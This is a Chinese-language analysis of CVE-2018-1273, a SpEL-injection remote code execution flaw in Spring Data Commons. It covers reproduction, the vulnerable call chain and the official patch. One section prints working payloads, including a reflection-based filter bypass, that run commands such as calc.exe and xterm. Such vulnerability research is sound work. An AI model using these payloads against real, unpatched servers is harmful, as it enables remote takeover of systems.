CVE-2018-1273分析

简介

今天来谈一谈某个简单的漏洞(其实是找不到深入的分析文章,并且自己也找不到思路)

Spring Data Commons是Spring系列比较流行的框架,主要目的是方便地进行CRUD操作。实际上国内的Java开发采用Spring Data系列的不多,但也不能否认它的强大。这个漏洞本质也还是SPEL的问题

漏洞复现

下载github官方案例:git clone https://github.com/spring-projects/spring-data-examples

checkout到老版本:git checkout 05bc950a46eaa687cb3eaf0489015cea668a5013

IDEA打开自动处理完依赖后,访问http://localhost:8080/users

输入用户名密码后抓包,修改Payload,成功复现

漏洞分析

不是很好入手分析,直接找到官方的补丁位置:org/springframework/data/web/MapDataBinder.java->setPropertyValue,下断点,看到propertyName正是payload

继续看这个方法的后续代码,初始化expression并调用setValue,典型SPEL的RCE

......
Expression expression = PARSER.parseExpression(propertyName);
......
try {
    expression.setValue(context, value);
}
......

反向分析,寻找哪里调用了MapDataBinder类,找到org\springframework\data\web\ProxyingHandlerMethodArgumentResolver.javacreateAttribute方法

@Override
protected Object createAttribute(String attributeName, MethodParameter parameter, WebDataBinderFactory binderFactory,
        NativeWebRequest request) throws Exception {

    MapDataBinder binder = new MapDataBinder(parameter.getParameterType(), conversionService.getObject());
    binder.bind(new MutablePropertyValues(request.getParameterMap()));

    return proxyFactory.createProjection(parameter.getParameterType(), binder.getTarget());
}

SpringMVC框架的调用规则:

  • SpringDataWebConfiguration类的特性被启用的时候,会将 ProxyingHandlerMethodArgumentResolver注册到容器中去
public void addArgumentResolvers(List<HandlerMethodArgumentResolver> argumentResolvers) {

    argumentResolvers.add(sortResolver());
    argumentResolvers.add(pageableResolver());

    ProxyingHandlerMethodArgumentResolver resolver = new ProxyingHandlerMethodArgumentResolver(conversionService, true);
    resolver.setBeanFactory(context);
    forwardBeanClassLoader(resolver);

    argumentResolvers.add(resolver);
}
  • 当SpringMVC得到一个请求的时候,会遍历容器中注册的HandlerMethodArgumentResolver调用他们的supportsParameter方法,由于我们的参数是一个Interface(接口),那么 ProxyingHandlerMethodArgumentResolver就会告诉调用方,它支持这个参数的解析即 supportsParameter会返回true
public boolean supportsParameter(MethodParameter parameter) {

    if (!super.supportsParameter(parameter)) {
        return false;
    }

    Class<?> type = parameter.getParameterType();

    if (!type.isInterface()) {
        return false;
    }
    ......
  • ProxyingHandlerMethodArgumentResolver在拿到参数的时候会创建一个MapDataBinder来解析参数MapDataBinder.bind()方法。连带进行doBind操作,最终会调用到setPropertyValue方法来,最后在expression.setValue(context, value)的时候触发了漏洞

特殊分析

这里的payload是有限制条件的,如果是下面这条将不会生效

username[#T(java.lang.Runtime).getRuntime().exec('calc.exe')]

使用反射可以绕过

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")]

或者参考网上大佬的方案

username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]
username[(#root.getClass().forName("java.lang.ProcessBuilder").getConstructor('foo'.split('').getClass()).newInstance('shxx-cxxopen%20/Applications/Calculator.app'.split('xx'))).start()]

具体原因猜测是这个版本的SPEL对关键类和方法做了限制

补丁分析

官方补丁:https://github.com/spring-projects/spring-data-commons/commit/ae1dd2741ce06d44a0966ecbd6f47beabde2b653

主要就是把StandardEvaluationContext换成SimpleEvaluationContext,最小权限